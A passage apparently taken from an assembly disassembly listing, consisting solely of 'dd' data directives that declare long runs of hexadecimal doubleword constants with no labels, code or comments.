		dd 5BC052F1h, 0FD82638Ch, 0BA530A0Fh, 0E45B7392h, 3B016926h
		dd 144213D6h, 0D3500B13h, 155FDDF0h, 6A246341h,	0ACED3726h
		dd 0E068A124h, 62519E15h, 0F20B8874h, 6A5D21FCh, 0D988C3A0h
		dd 660E525Eh, 87364ABAh
		dd 0F772CA87h, 0D50689D9h, 55D0CA03h, 21DA01F9h, 0D531F84Ch
		dd 0EBAE5A65h, 4F6966FBh, 30FF457Eh, 21FD30E4h,	41B9EC77h
		dd 20EF6C48h, 0D0213B96h, 9291E892h, 0A06A5096h, 0A7996E82h
		dd 0FB00FF0Bh, 13E26851h, 25AC3B91h, 0F2807C03h, 8CCA99EFh
		dd 4043AA24h, 0CD0BBD19h, 0F75B251Ch, 0AB00D1AFh, 0E973181Eh
		dd 4CB4D449h, 9B25774Ch, 62C95EC2h, 0F15FD09Fh,	0F3542F38h
		dd 0BA565696h, 0E9A038EBh, 0D906712Dh, 0D8273867h, 68587256h
		dd 20254A3Ah, 507BB2F6h, 4FB3B5A0h, 8CBE06B7h, 7C681383h
		dd 0A88D40h, 57A0DD5h, 9311300Eh, 22FCA060h, 16356A7Eh
		dd 0ECAB2A8Ch, 59137702h, 0D0A8198Eh, 0C750AA82h, 0FE1EF0AFh
		dd 73670B0Fh, 6F26C1C1h, 0EAAF2108h, 65FF4FEAh,	4192BF36h
		dd 0DEF7BC1Dh, 5446D956h, 466D129h, 5BAE3378h, 0C064AB5Ah
		dd 648801E5h, 5E0B449Dh, 0AE0C555Dh, 0D1760706h, 0FE017190h
		dd 0E97AD41Ch, 0E37F0AF7h, 0D8DA13B6h, 2E9099EEh, 0B3166C94h
		dd 0E9B17BA9h, 66F552C1h, 6121FF50h, 213BC11h, 9539FAE0h
		dd 2848316Ah, 7A2005EAh, 9542CB68h, 39BD0E18h, 0BC5C182h
		dd 0AE4EF628h, 0E23B636Dh, 7C32DAF7h, 46E9D0DFh, 54528B9Fh
		dd 0A1E9D811h, 930787B6h, 0DF104405h, 9FC1217Bh, 0D3720C90h
		dd 4B489A92h, 0C22D2FCBh, 70A36022h, 9E71504Dh,	27CA6E5Ah
		dd 0C1493984h, 27DB6FCh, 20D66135h, 0AD2F1B61h,	0BCE640AAh
		dd 89EF4F09h, 0D8BF80F3h, 4C2F685Bh, 0EED4461Ch, 0F62DB404h
		dd 0A2FBA047h, 38E82302h, 94D83BE9h, 0AC29489Eh, 0AB2740D4h
		dd 0A45C8884h, 9B5276E1h, 0FE412D8Ch, 0A868045Dh, 0ED31BB19h
		dd 0F57807AFh, 8261B5DEh, 0F24CE114h, 4917B788h, 0D52D93BFh
		dd 4550C88h, 0E069A0BDh, 4A13BA49h, 92A576CDh, 0CF3A0558h
		dd 7507A53Ch, 0B062080Eh, 0C041D058h, 0D8F421EDh, 442EE963h
		dd 0CC5871E6h, 0DD7E8277h, 0D7A5F69Eh, 45D74010h, 4FD3088Dh
		dd 0DC08A42Dh, 21195F55h, 255DEBE8h, 796847FAh,	558226F1h
		dd 0C118AB46h, 450842B4h, 0FB8BBDAAh, 0E52393FDh, 0B52F97FFh
		dd 571D2D5h, 0D5412977h, 35E83680h, 62904CE5h, 0A4512E68h
		dd 39738A00h, 0A4D5F76Eh, 3A8E8094h, 4BE34946h,	1133BA5Ah
		dd 0B0415F6Eh, 0C133801Ah, 0B0070C5Bh, 2C30FCF1h, 201759CAh
		dd 7DD52F99h, 0E99828C4h, 0E537740Bh, 0C560076h, 985D8813h
		dd 35EAFCF6h, 48BADCh, 0A7355A8Ah, 0E94FF230h, 0E1DB0E44h
		dd 0BD4F7514h, 0FA186251h, 94D05A8h, 29923C98h,	92C7E775h
		dd 0B174E8E9h, 0F67BF95Ah, 0ACE74E3Eh, 15954C4Ch, 0B8D2DC4h
		dd 1D66575Ch, 0A2741621h, 64969FF9h, 4B282C31h,	0CB7D66D2h
		dd 280ECC10h, 362CF0D1h, 37895098h, 0A7DB008h, 49D991E8h
		dd 0E49E92D6h, 1C7D7C5h, 1FE9A804h, 0EE4F65FCh,	8C680130h
		dd 47029471h, 82999455h, 17C02FEFh, 0E91B06E5h,	0B3E72C96h
		dd 996B4EBCh, 0E1996B94h, 9D4AE83Eh, 4C35CDF0h,	26650353h
		dd 4910BE56h, 5E62478Ah, 9C2F4BD5h, 0B7F64180h,	4FC02FEEh
		dd 0C5CA1C43h, 0F1D4EAFFh, 31B601AFh, 3C43E680h, 0F1E04BCFh
		dd 0D5A04177h, 7877A72Bh, 6410079h, 0C3BA38E1h,	8BA01EF9h
		dd 5CC15BDAh, 42AC64DFh, 9721D5E5h, 0D1E90800h,	16F7D6F3h
		dd 3F780918h, 0D056C22Bh, 0D77B4E0Ah, 2F95FB08h, 29AE5140h
		dd 91F822F0h, 69BB06B2h, 767CE9E2h, 0B55325E8h,	11AFD444h
		dd 0F25FD3FBh, 4D68B0EEh, 6DEF9406h, 1620450Ch,	24F7B66Dh
		dd 599231AAh, 177FDFBBh, 5A421EE9h, 922A9668h, 2596D931h
		dd 0A6E02082h, 8095C720h, 13D39805h, 0AB515FF9h, 0DB502134h
		dd 80EA03C8h, 0E28DFD6Ch, 274F544Eh, 9D4D9477h,	860B5565h
		dd 9FBCDB1Eh, 9C120C57h, 8C02B818h, 50299107h, 70655759h
		dd 7E9C182h, 7AB06253h,	48EE0972h, 0F1562052h, 1F60013Bh
		dd 9EAFE917h, 0F401112Dh, 8167CF2Bh, 7271FCF2h,	5590FFA0h
		dd 38C1B180h, 954CE180h, 5A7E043Bh, 28FDC098h, 0CF9066F5h
		dd 7F904420h, 12AE4A5Bh, 8A0FBEC7h, 0A568E955h,	26B9504Fh
		dd 0E2FAC525h, 0E5E6FFCh, 0C73839E1h, 9F0522B6h, 0D97E90Bh
		dd 0B0089CB4h, 450F62F8h, 0B0B3C301h, 8103137Ch, 0F0841EBh
		dd 0D93612B7h, 2431EEF8h, 993F1B19h, 23052FE8h,	0F7990BEBh
		dd 0D9F9D30Dh, 0BB079608h, 0D70957F7h, 0C64F15D2h, 5F5B0F94h
		dd 0C189D531h, 3B591B41h, 412EDED8h, 4F633CEFh,	4B5152A1h
		dd 3F501816h, 0E650EA88h, 0B8E3EAD4h, 307F40C0h, 0F58E12Fh
		dd 17926C6Ch, 51D09789h, 3567C707h, 6FE23106h, 0C94193A9h
		dd 916BBDBEh, 3A58BC11h, 8EBAF935h, 143481Ch, 65447DFFh
		dd 0D5BD8DE9h, 0D223EA0Fh, 8964436Fh, 688CBB98h, 0A3E05B85h
		dd 73C810A3h, 96B05000h, 0ED80F8B5h, 33A29F5Ch,	92F9BF5Dh
		dd 0F4B484CDh, 982DAD00h, 125C9427h, 50561CE6h,	0E237E989h
		dd 2CA859E2h, 88592F28h, 0A4277349h, 7BE9091Eh,	0C6FF5729h
		dd 0BD4E20h, 57FBB8EBh,	0D0F41AC0h, 0C48CC35Eh,	298E402Ch
		dd 843FDD4Ch, 0EC166DA1h, 0F23B02E1h, 62D52947h, 5A0807CFh
		dd 7CE80112h, 5C31661Ch, 34E93009h, 0D6EC550Bh,	9FB95105h
		dd 94C03539h, 0ED617DE1h, 0A18E5FEEh, 0D792DEBh, 5852EA85h
		dd 5D0B79B3h, 0EC8A6859h, 330DC765h, 0FA6B67E3h, 444C0470h
		dd 0A292880Fh, 0D73089F2h, 0C568C768h, 9A8C334Bh, 6A7E4144h
		dd 140FA213h, 44D3CACAh, 45BB864Ch, 6B60A403h, 23FA13h
		dd 0BD49451h, 558921BAh, 0F1CC2A40h, 0A2390561h, 0AEDDF758h
		dd 25E996A0h, 29510B09h, 5F0FC189h, 0D02F3FC6h,	0ADC24510h
		dd 0B90AF32Bh, 0FC76AF65h, 0BCB2E970h, 0CA680E93h, 0F71660B6h
		dd 3212754Dh, 21C1A6E9h, 67C81C2Ch, 0D304385Ah,	0F6F4D83Ch
		dd 0C3E29D17h, 0CA29517Fh, 0CC6616DFh, 7105C9DFh, 74011426h
		dd 0CD021BCh, 53D81441h, 8175161h, 7552E22Bh, 51A504BDh
		dd 3FE7DDFEh, 2CEB2675h, 0CB611976h, 45D5F73Eh,	0B26CC7E1h
		dd 9C969F73h, 1662E90Fh, 64A8161Ch, 0E9E7A0B4h,	7585285Ah
		dd 8B19F7AAh, 20A67084h, 9BD09AAh, 71EFD440h, 5BF850ACh
		dd 61620568h, 97D9A17h,	0D2068887h, 3B513110h, 66005613h
		dd 39B919B8h, 25B9ED1h,	54A2571Fh, 5C5D1A55h, 9F600623h
		dd 5F0B0C0Ch, 0DEF47B8Ah, 0A8311631h, 5F58F264h, 4F6E8271h
		dd 0E9686245h, 38C65E6Ch, 6551FE25h, 758D496Fh,	3D313B3h
		dd 5A5ACAD4h, 9441C521h, 1F9ECC3Fh, 0AD74194Ah,	0C7F03691h
		dd 0A24C4779h, 4312032Dh, 3D44AD40h, 0DD363A9Fh, 2C97B86Dh
		dd 0EE9226EDh, 680927DBh, 499963C6h, 0F89EE551h, 595A7108h
		dd 5EE93603h, 628EB2E3h, 5F598928h, 2B983FB4h, 817B4841h
		dd 2FB5DC7h, 0E405F587h, 8029FC01h, 5F6F2F7Bh, 0C1E325E9h
		dd 0FBADB17Bh, 1E003EC6h, 0E915D31Fh, 2FC01633h, 6502CFE5h
		dd 0D312B542h, 0FBE4F2D7h, 41AEF883h, 0C0B31CDh, 829D59CBh
		dd 57C75D99h, 173EE9E5h, 8D64516Bh, 2C50F3FAh, 21020352h
		dd 89E1DA5Fh, 845A0287h, 64197213h, 0EB5DCB08h,	16D642B6h
		dd 0E14CB4E8h, 0A840700Eh, 74F1C764h, 163A007h,	0D65E2FC8h
		dd 0B2BD9B66h, 8F025D9Ah, 0E93802C1h, 0BDBA9225h, 0FD5344D1h
		dd 0ABB417B9h, 66178301h, 0F6F8372Dh, 356C126Eh, 0F254B116h
		dd 26B65109h, 764B42CCh, 0B62D88C6h, 129D697h, 20687EEEh
		dd 1F40630Ah, 0EC4225B4h, 0E0E4C0C5h, 9F13BEBEh, 0CE20C366h
		dd 65F8FA17h, 0BEE35958h
		dd 59310689h, 56C6917Ah, 0C7B60107h, 9ECBB4DCh,	0B523A89Fh
		dd 0FEB4165Ah, 4B8918C3h, 103BBC57h, 0C620B81h,	0DB7F23FDh
		dd 25439134h, 0DC2EE358h, 1DB05526h, 1D011001h,	9E72E905h
		dd 5D32D83Ah, 0BD57F3BFh, 37CC7F12h, 52DA85F5h,	0CCC874C2h
		dd 5D646BA7h, 0A880CDDDh, 1382C31h, 9BCF8135h, 2046CE73h
		dd 7B12A158h, 15016F41h, 0ECAF99BCh, 16480C20h,	0F5534330h
		dd 590803C4h, 9FB80E3Eh, 0FDC467E7h, 2DFF3C8Bh,	0A2EDA726h
		dd 209DADDDh, 0FC6C1CE2h, 0C24C2A76h, 4F82DDE0h, 0FF096766h
		dd 23F2B320h, 82C043ADh, 8A0524C6h, 0D6013F4Ah,	9E08EE28h
		dd 34FFA7D9h, 64E914D8h, 209EB32Dh, 3B065020h, 49BBC231h
		dd 0EAD350DCh, 975836D8h, 0F54BB55Eh, 93126D89h, 4768E977h
		dd 0C6035432h, 232D6C18h, 55C7A80Bh, 39A48258h,	6749746Ah
		dd 0C62B075h, 5873C731h, 50902BB7h, 4398A1h, 7AFB36F5h
		dd 22D9E943h, 0B3DC59Dh, 0F0305303h, 18484C22h,	56D5102Ch
		dd 6F04DB48h, 0C26ECE4Bh, 9291C1Ah, 0CFC275B9h,	27E161h
		dd 0BD4DE868h, 668EA898h, 15D95B81h, 0EB38A025h, 0C7209192h
		dd 1ADB3DD2h, 0D60C8F37h, 7CFC2D65h, 0E50FA2F2h, 1262E4D4h
		dd 7EDC1h, 3922DEC8h, 8A90292Ah, 49F4215Fh, 0D5311387h
		dd 8B250841h, 3E1A2D01h, 997B4926h, 71965162h, 0A9472F0Fh
		dd 6831028Bh, 212A2B5Dh, 7E62EFCAh, 0FF004A24h,	57B176BEh
		dd 3AF4002Dh, 0B00D6B3Eh, 1A587B32h, 2E4A13BDh,	1AF087FCh
		dd 6C51BC5Ch, 1DA12B6h,	0C04BEBFFh, 951E3F16h, 80BB74Ah
		dd 982044CCh, 0D8F700A5h, 5A264235h, 0F37E0572h, 29327FE4h
		dd 2708B6C3h, 0F119C5E7h, 1CCF2DD7h, 0DD12F1B3h, 8A1409D4h
		dd 7DBD1654h, 295F6F32h, 2C90C8D8h, 0BE0170BCh,	38A57355h
		dd 0D6516220h, 0F934C40Dh, 0A5FD8855h, 0D689EC76h, 2096C642h
		dd 0E981F533h, 0FE7AC4BFh, 632885A0h, 0E9779005h, 3CFAC47Bh
		dd 0B45836BFh, 0E68A056h, 9F5E9501h, 4A7EE950h,	13D1A3F0h
		dd 74FB5C82h, 0C19C0066h, 268F458h, 9FCC3C4Ah, 5B0B404Ah
		dd 27438B62h, 187D1D4h,	7A05B5B9h, 847E7029h, 1D09D91Dh
		dd 741BF949h, 6E9D823h,	6A9215Ah, 912553CDh, 9774C6E8h
		dd 0D82C5F7Eh, 0E408A6A6h, 58DE25B8h, 14F16A44h, 0D4A77B38h
		dd 5BA1265h, 0AE01C630h, 2A7D7BCBh, 1D8DD3B0h, 0C37061BFh
		dd 65F78130h, 0FE290D03h, 14DB7E9h, 4793CA99h, 0F04A442Eh
		dd 9EB16A83h, 4D94230h,	83384CDDh, 0F702E707h, 66DD7h
		dd 329EDCB8h, 2176D48h,	0E8E95E5Fh, 5FB946ABh, 4825F854h
		dd 0F1117CEh, 48E42601h, 0BD2E70B7h, 0FEE98252h, 7AFA5577h
		dd 1F123A9Eh, 363E731h,	1251A36Fh, 0EFBC4C3Eh, 67D754F2h
		dd 91E984B8h, 6BC9FA7Ch, 82CEE060h, 860865FCh, 0C98100B5h
		dd 7CF54943h, 0E0B94095h, 2B4C274Dh, 27904DD8h,	0A7F3D009h
		dd 0E923F7EDh, 3D023990h, 1B35EACDh, 582E5430h,	0B57FFCC5h
		dd 0E94F01E4h, 0F6F031AAh, 63A7E8F1h, 0C7C34BC0h, 98346F7Eh
		dd 802E9037h, 5135E908h, 0AC3E132Ch, 28593777h,	1C2CA3E7h
		dd 5427772Ch, 0B031B5ACh, 205B9872h, 0BF1EDC18h, 0F5D687AFh
		dd 0EFC1B9C1h, 95D93461h, 4670AF59h, 0B56DFA50h, 0E1108B42h
		dd 0A528BFC3h, 9D4080A8h, 0FED203F6h, 0ECE280CAh, 632C579Fh
		dd 4DA341F2h, 389604B5h, 34BE122Fh, 5E12EAE9h, 64AECCABh
		dd 9C301741h, 2521E80h,	82B6CB44h, 694F6C22h, 0F17D9B75h
		dd 5A659388h, 6A4CE13Ah, 38505728h, 2960E955h, 0FE7EB151h
		dd 1B2DC97Ah, 6FDBA038h, 90E2A3D3h, 9A9CFA86h, 7D278667h
		dd 112330D9h, 8F84C635h, 555FB527h, 85FB4D82h, 98EE5405h
		dd 6D41785Dh, 0DFF0B96Eh, 51A8458Ch, 2BF002F2h,	0D52911BBh
		dd 0EEED84E0h, 3B6E7948h, 42548D1h, 82D4A80Dh, 0E94602FFh
		dd 0AFFDE1F4h, 49F14B51h, 0D97FEB91h, 0C98A2B1Dh, 70251CDEh
		dd 88515036h, 854ED579h, 0A3F362C4h, 43BB5E7Bh,	65784691h
		dd 35B42D98h, 6817BC76h, 0E8E349E0h, 0FD093604h, 0B3FFC05Bh
		dd 535A2C0Ch, 1A484AA3h, 12054416h, 0F300EA8Fh,	6F92B951h
		dd 0E92F1F50h, 589A2E65h, 1F2640F3h, 3ECDC538h,	0F89A3093h
		dd 6B53DE91h, 0DD66934Bh, 1356802h, 277A715Dh, 3223035Ch
		dd 3DDFB93Fh, 8BE53AFDh, 387AD56Ah, 0AAC065F1h,	0BD4AE835h
		dd 0EBE89C09h, 28706D55h, 161B2F4Fh, 3EC1D799h,	0D5EAC4D5h
		dd 0E46AE0Fh, 8161DDE9h, 0D9E468A2h, 0CF292835h, 590880B0h
		dd 0CF3ABD47h, 1FF4CC75h, 88875FF8h, 0E9855C24h, 46FAA097h
		dd 676C8AFFh, 49AA24D7h, 0CFA201DFh, 40079112h,	0BD23510h
		dd 0F6375E0h, 18177B13h, 0C809F41h, 36917A99h, 806BB53h
		dd 6D4E8D0Bh, 400C7905h, 0CA25E4BAh, 0A9B0434Ah, 0E7855A3Bh
		dd 9FB74CC0h, 931FFEEDh, 0B403E23Ch, 4E6FB6AEh,	2E150EEAh
		dd 4B038F12h, 0E55B0AE3h, 0FE913F00h, 2C00A83Ah, 0E095661Eh
		dd 78099B9h, 0E2880FECh, 0E9D00158h, 0A4172B32h, 0F1A721EBh
		dd 0C3739275h, 277B21B9h, 357C0D46h, 0F9446D40h, 1FC19F68h
		dd 1A9C404Eh, 6C4B267Bh, 0E4594902h, 0A0A8F477h, 0EF5B4A08h
		dd 0BD83450h, 75298DB3h, 8704120h, 530BB5B7h, 0DEDD1EE9h
		dd 7EC6261h, 391226E4h,	8AB2A31h, 6805051Fh, 0D560308Eh
		dd 26875A29h, 1E5E4A76h, 40D3C932h, 1C5C6702h, 46C1BB00h
		dd 26D0BF69h, 1DB4065Bh, 0B5349A79h, 1C254678h,	0B7C44496h
		dd 0A3966150h, 0B5C3088h, 85555D5Eh, 1190533Fh,	25F027BAh
		dd 1778A7D8h, 0F388FB9Bh, 0AB8003Ch, 0D6BE029h,	203E9718h
		dd 0B5C930A0h, 0A462943Ah, 0E211D3C0h, 0E153FBB4h, 0DA48BB66h
		dd 832F17EFh, 4FFBE893h, 0DFBC581h, 0EB932132h,	0BF2555Ch
		dd 25AE8045h, 2E3D2B40h, 909EF83h, 8F4ECC8Eh, 428738A0h
		dd 874DFE26h, 5F522D1Ch, 8AC99901h, 2D70E17Ah, 1B4B39E9h
		dd 0CCDE10AFh, 1D888FBFh, 5FD7F43h, 0D20B02DBh,	459E12FFh
		dd 0C3D66E18h, 0EE10C71Bh, 0F77C2925h, 5495C12Ah, 67A93A8Fh
		dd 52D4C893h, 0D151BCA1h, 0D3826E7Fh, 52EF7608h, 17BF6080h
		dd 0FA9D01B6h, 0B6B68E95h, 2D16C8B3h, 2731ABA8h, 0B431E365h
		dd 8A6E1D0Bh, 5BD112CAh, 61356B3h, 0DA1FEDE7h, 53537745h
		dd 38CA6885h, 12415A8Dh, 332B1ED7h, 514AD05Dh, 0FBD0A7A8h
		dd 0A27E0327h, 85A4C3CBh, 0A7B0012Ah, 50EFB98h,	86FAAD74h
		dd 3108BDC8h, 6C189409h, 6A088886h, 89730C60h, 9A40DF20h
		dd 0A05B40F0h, 62DC5940h, 54210802h, 10FC1703h,	18303330h
		dd 1A10EC3Ch, 5808DF99h, 1D08188Ch, 4D008DDh, 33192210h
		dd 18B49168h, 10E65A89h, 8C69AB8h, 33180F73h, 0A408280Ch
		dd 0A1082931h, 7101A196h, 68308CE1h, 62A8089Bh,	91DB182Fh
		dd 6DF4602h, 0AF201185h, 0FBA220DEh, 30C1CE31h,	88C2CEDh
		dd 2118FD3Bh, 63321040h, 0AF5A10E4h, 0E39C0810h, 20C72218h
		dd 8C4A3C1h, 6706A9EAh,	8C202093h, 0CF833107h, 888FB110h
		dd 2CFFB908h, 7520319Eh, 30899B3h, 0A051C181h, 0B101B8B0h
		dd 51FC076Ah, 84162DFh,	58031678h, 90414490h, 40AC623Eh
		dd 25030815h, 0C6107F87h, 188AE3C9h, 20A04C20h,	3031E7D6h
		dd 0C7A908ABh, 8CBD7901h, 88FF128h, 0B60E403Fh,	649FA840h
		dd 4C47195Ah, 0C424388Ch, 4C86F11h, 84066DF7h, 5620084Ah
		dd 0A0322034h, 691FA433h, 0DC3010CAh, 6C83108Eh, 18855B19h
		dd 41E0521Eh, 0D308B4AFh
		dd 8977210Ch, 99BB8060h, 987008CAh, 99CC8D8Ch, 244981CFh
		dd 5840D620h, 8CE8A8EAh, 0ED4C800Fh, 636E10C4h,	8357106h
		dd 2BC86154h, 62193340h, 858028B0h, 0A4460405h,	3310AA69h
		dd 7D0855A7h, 664918AEh, 0BBD01090h, 10547210h,	3C1092C1h
		dd 0D50F126Fh, 888CD854h, 528A0DBFh, 8861ED10h,	12309E08h
		dd 0D8A45D87h, 0C3AC08D8h, 94531B81h, 0F106A46Eh, 103108F8h
		dd 43D018A5h, 61FE0898h, 0A08057AFh, 1AEA800Bh,	80F94380h
		dd 189A176Bh, 7D10B763h, 920870C0h, 81B06594h, 72EC223Bh
		dd 0E091CE04h, 1F014F6Ch, 9E28898Ah, 2D18A6AAh,	9C605418h
		dd 0E1F8A8C5h, 2910CCD3h, 249215E1h, 310E3720h,	0E618E011h
		dd 0B76B019Fh, 922EEF01h, 0C444A808h, 230A8DA4h, 42DB88D0h
		dd 0C5F1B08h, 0F908CCD4h, 9C891961h, 0A432E8FCh, 3439064Fh
		dd 8B3C3E84h, 4C7B72C7h, 2C47EFC0h, 31EB0275h, 0B90E8913h
		dd 3DBDA7h, 8F440105h, 0B0B4940h, 8BF775C9h, 13D230Eh
		dd 0B9F003DEh, 33318F01h, 0B10F01C0h, 2C84304Fh, 0AC34E9ACh
		dd 0C74B79AAh, 2C021BCAh, 7A1FE9CEh, 1E001FE4h,	81024F72h
		dd 2551D9EDh, 6F723C31h, 0E9580880h, 465A162Fh,	0CCB57Eh
		dd 2F6AF4B5h, 55C09F7Eh, 0A00C6A42h, 3041498Ah,	2F180FAAh
		dd 7EE19833h, 806ABA5h,	0C214821Ch, 7E200921h, 0AE90F80h
		dd 34B6FE78h, 74F68019h, 8A2B9C06h, 0F0881C59h,	8BE9C182h
		dd 4647F77Eh, 2B16D522h, 4EFB0CE9h, 46E7EA5Ah, 0C475590Eh
		dd 28505CFAh, 18483F1Ah, 93483DAh, 0EBB0487Bh, 58C11731h
		dd 0EDA14089h, 68FA3521h, 1A60155h, 3E80E908h, 68FA9F17h
		dd 3469B987h, 0B7D3686Ah, 0CC10D015h, 582E365Fh, 0FF5E9D0Fh
		dd 78CDCD17h, 1C0806h, 1D875ABDh, 498CE959h, 46F644D2h
		dd 5A8CBC4Ah, 0F0D273E2h, 6C12EA93h, 8AEBD11Eh,	88EB2A93h
		dd 29D8BE05h, 0D8C838D0h, 0E982A15Eh, 0DE1F0C44h, 0A24425D7h
		dd 0D63767E4h, 2D051BC2h, 398B417Fh, 7BAF2091h,	155846Eh
		dd 2B7DE907h, 0DE76F01h, 0B477FF12h, 5901BB58h,	32E971F5h
		dd 236A0146h, 11429B6Ah, 8FF53A9Eh, 0C642A015h,	761C45F0h
		dd 1D4D255Bh, 19136872h, 1EEF43Bh, 4E4418E0h, 45A12F7Ah
		dd 0E11EC3E4h, 0D829F8EBh, 0E59A35E9h, 0F970638h, 81035023h
		dd 0D34972C6h, 0B1F6B038h, 5D580EFFh, 109F9E9h,	838EC6F9h
		dd 1C4CDFE8h, 0FED3D20h, 6C2209FCh, 3D40B369h, 8825685Ch
		dd 0A2187D39h, 5D006F1Ch, 78740D72h, 12D19B3h, 28DA0865h
		dd 0D02AB951h, 315A54EAh, 0FD2D3ED8h, 0BF9B0760h, 78B79DF8h
		dd 3F682FDEh, 79966E46h, 5EE90252h, 0C0A10F30h,	0D32CD028h
		dd 367268E0h, 31B515A8h, 0BAE16BFAh, 27592BDEh,	8EB65282h
		dd 94CD188h, 1722615Dh,	0BF1826AEh, 0F41B3E04h,	5FFB3103h
		dd 32018153h, 67444C36h, 6443558h, 9738B3AEh, 82052DABh
		dd 13A7E986h, 84FDA001h, 0B6D13233h, 8D1F3F0Eh,	107DA72Dh
		dd 9D494307h, 6356344Ah, 0A0EDC109h, 0AB5DE2A5h, 0AC0CC128h
		dd 20896FC0h, 0BD803F33h, 0EC3900E1h, 1B7EBE48h, 314E1437h
		dd 9A711DECh, 0EAF69DCEh, 30D9AC3h, 80D4B53Ch, 0C59B2DE5h
		dd 252583F4h, 595A9B03h, 1F78A668h, 6D207499h, 13EFB9F5h
		dd 7558A34h, 423AA8BDh,	1CF76262h, 171283A4h, 27B19FCh
		dd 29C5CB6Bh, 0E5F7307Ah, 9E2E88B6h, 0E6FEBF00h, 9F014D32h
		dd 0CFEF7680h, 143B831Eh, 0E8F1A5E9h, 124C7BE1h, 0AF5B26E0h
		dd 0FD68EB71h, 0B711847Ah, 0D6E90C29h, 9ED437Fh, 1DEF7B1Ah
		dd 338D7176h, 0E67BB427h, 67005A2Bh, 47F8BF57h,	810E03AFh
		dd 343BB3F7h, 7CF6A0DEh, 0C2599B27h, 0C5CC5C94h, 0D1C5564Dh
		dd 0FE1C6845h, 0B660E3F6h, 954B345Dh, 0C353060h, 165E3D02h
		dd 0FF9217E9h, 0E15BDF33h, 76198FF6h, 42E7514Ah, 0A2C8B2BCh
		dd 53480888h, 43EA00BCh, 0E9F854E5h, 10927B8h, 9F2D1457h
		dd 0FB71B864h, 92DC0683h, 0C7AA86Bh, 0E1200F02h, 0C2F7011Ch
		dd 0E90802B3h, 0D7ECCA9Eh, 0D004CB1Ch, 2908093Bh, 803256AEh
		dd 977B8437h, 0F4126D5Ah, 34094111h, 0D9EA2A44h, 1251219h
		dd 4CE56810h, 56CF331Eh, 0EE194620h, 0C12D5E13h, 98C9F8E6h
		dd 303A3B21h, 5AEBCE03h, 0EEE07927h, 0F48CD94h,	85A91A2Eh
		dd 0D8C7F448h, 7359EDE9h, 31D70E6Eh, 0C10958FAh, 0F2084CEAh
		dd 29360974h, 9A804E0Fh, 599C12FCh, 6028EDBEh, 0E0495338h
		dd 3E46C958h, 1860609Fh, 358D23BFh, 52D7C1B5h, 0AC4E0768h
		dd 60A12F15h, 130B593h,	5966EA88h, 2B5AD120h, 78F165F0h
		dd 0E9CA0951h, 94D59B21h, 685B0EAFh, 0AA163202h, 975E8EDCh
		dd 7619EDE0h, 32FF10C4h, 0AA08C4h, 493A2D6Bh, 29140191h
		dd 3E0705C8h, 61538059h, 0ECE941D4h, 395E9A28h,	0BFF908E1h
		dd 176F3380h, 0EEA07C10h, 0B05C3155h, 93E510F4h, 0D80A9148h
		dd 9C5B01h, 0F5452C3h, 2814BEB6h, 10B86A56h, 0B55F9414h
		dd 81C03148h, 452B3510h, 4680736Ah, 72224064h, 839EBC1h
		dd 8FC49E81h, 34E0B397h, 0FD5638E9h, 3B3CEF4Eh,	0BB127E9h
		dd 133CE559h, 15BCAD29h, 31A582B5h, 5F65ADE6h, 2DBC8512h
		dd 26100592h, 2E81EE62h, 2E9D2EAFh, 9FD8AACh, 2AF281CFh
		dd 6021E03Bh, 65FCD02Dh, 0D7F3EF5Ah, 1A76C203h,	57F33480h
		dd 0B43B1CA6h, 5D0D9315h, 63A59641h, 7282542Ch,	2A991AA7h
		dd 64B0D961h, 754FA87Ch, 0C65453CCh, 6B9D40DAh,	8AC680B7h
		dd 0FD69CD2Bh, 0D2F0A22Fh, 0ED5E0DBDh, 58E0A328h, 0BED6DD71h
		dd 0F7498E8Fh, 38A20110h, 0F158F05Bh, 3668173Bh, 17865DFDh
		dd 0B22FC991h, 1D951832h, 2EF51C19h, 6B7244BFh,	0AD60FF28h
		dd 9344E0Ch, 43DBF70Eh,	545EC400h, 490121C0h, 1918BA52h
		dd 876E5AB2h, 80E991E2h, 0A48C352Fh, 0DE27B7B4h, 0CEE9F88Ah
		dd 5116B464h, 4B80CC2h,	0D8B68159h, 4FF23341h, 0E98378BAh
		dd 7D848225h, 2BFCE296h, 545B6069h, 4D7A3EB5h, 568F8C5Dh
		dd 2698102Eh, 7409F480h, 0F5E78853h, 0CDD3DDC3h, 8E5C088h
		dd 0E96DE938h, 5909F62Ah, 838AE620h, 266613E2h,	0E29584BFh
		dd 7665FDE1h, 0D0000DA6h, 0E94F371Eh, 2F8B9DF8h, 1E218ECDh
		dd 2CAB5917h, 48A00158h, 5F820970h, 0F102980Bh,	3F70FEF7h
		dd 581A4E60h, 0E11A4768h, 0C726F93Bh, 570B290Ch, 399DA5C6h
		dd 415C55FAh, 4E687452h, 0B2188C53h, 0D994FBFAh, 7934C20Fh
		dd 76E8F3BCh, 834D5C36h, 783DB700h, 0E3FEE923h,	3DBF3ED3h
		dd 8D8B7B0Ch, 57993012h, 0A560448Ah, 0C231025Ah, 0B1346058h
		dd 30528110h, 3FF52A2Dh, 13D667F2h, 53C7AC0Ah, 98AB933Ah
		dd 92A64C8Dh, 88BAD6B7h, 7A25F7F9h, 0E6C247Dh, 7DED89C6h
		dd 9150F5DCh, 0EB16D7CFh, 9C2C4B2Ch, 74551786h,	1C268EADh
		dd 18253AB1h, 886B0E91h, 5E81D674h, 0BC630D2Bh,	0E48B3ABAh
		dd 6833ED02h, 0EEE13E1Ah, 4B897D02h, 26C4491Fh,	14AB8512h
		dd 0E127DE6Eh, 0B0FCA63Ah, 9FCF0AEBh, 9ACAA009h, 200E4065h
		dd 37331D30h, 0B2FEAD01h, 0BF4BE9F8h, 71DB4A0Bh, 7040B013h
		dd 88710E35h, 5125070Dh, 0F24B894Fh, 0B069D733h, 100B20C2h
		dd 2E5EA7A1h, 1F73A546h, 8556B512h, 0E9002971h,	10DF1416h
		dd 0C80D5078h, 0D6B0917Eh, 0B64A530Bh, 0F4468014h, 0F633E576h
		dd 19629F93h, 0C9A2E777h, 59630DFh, 9D4792A4h, 0FCADF345h
		dd 0E6C130AAh, 7762053Ch, 307DF6h, 0D1080FB2h, 0B6701BB0h
		dd 7AB1FEB5h, 98650A85h
		dd 2502CFDAh, 0AE68012Ah, 0D60DA977h, 820A05B9h, 0E970881Eh
		dd 0B82DA624h, 0F678E54Eh, 51AB81D0h, 15912C3h,	0E83D04F0h
		dd 11BA0073h, 7B36B461h, 0EEE15942h, 0D504258h,	38FD0CF3h
		dd 0DBEE0F9Fh, 37995C17h, 0A73C72BCh, 0F00216D0h, 3BC9B239h
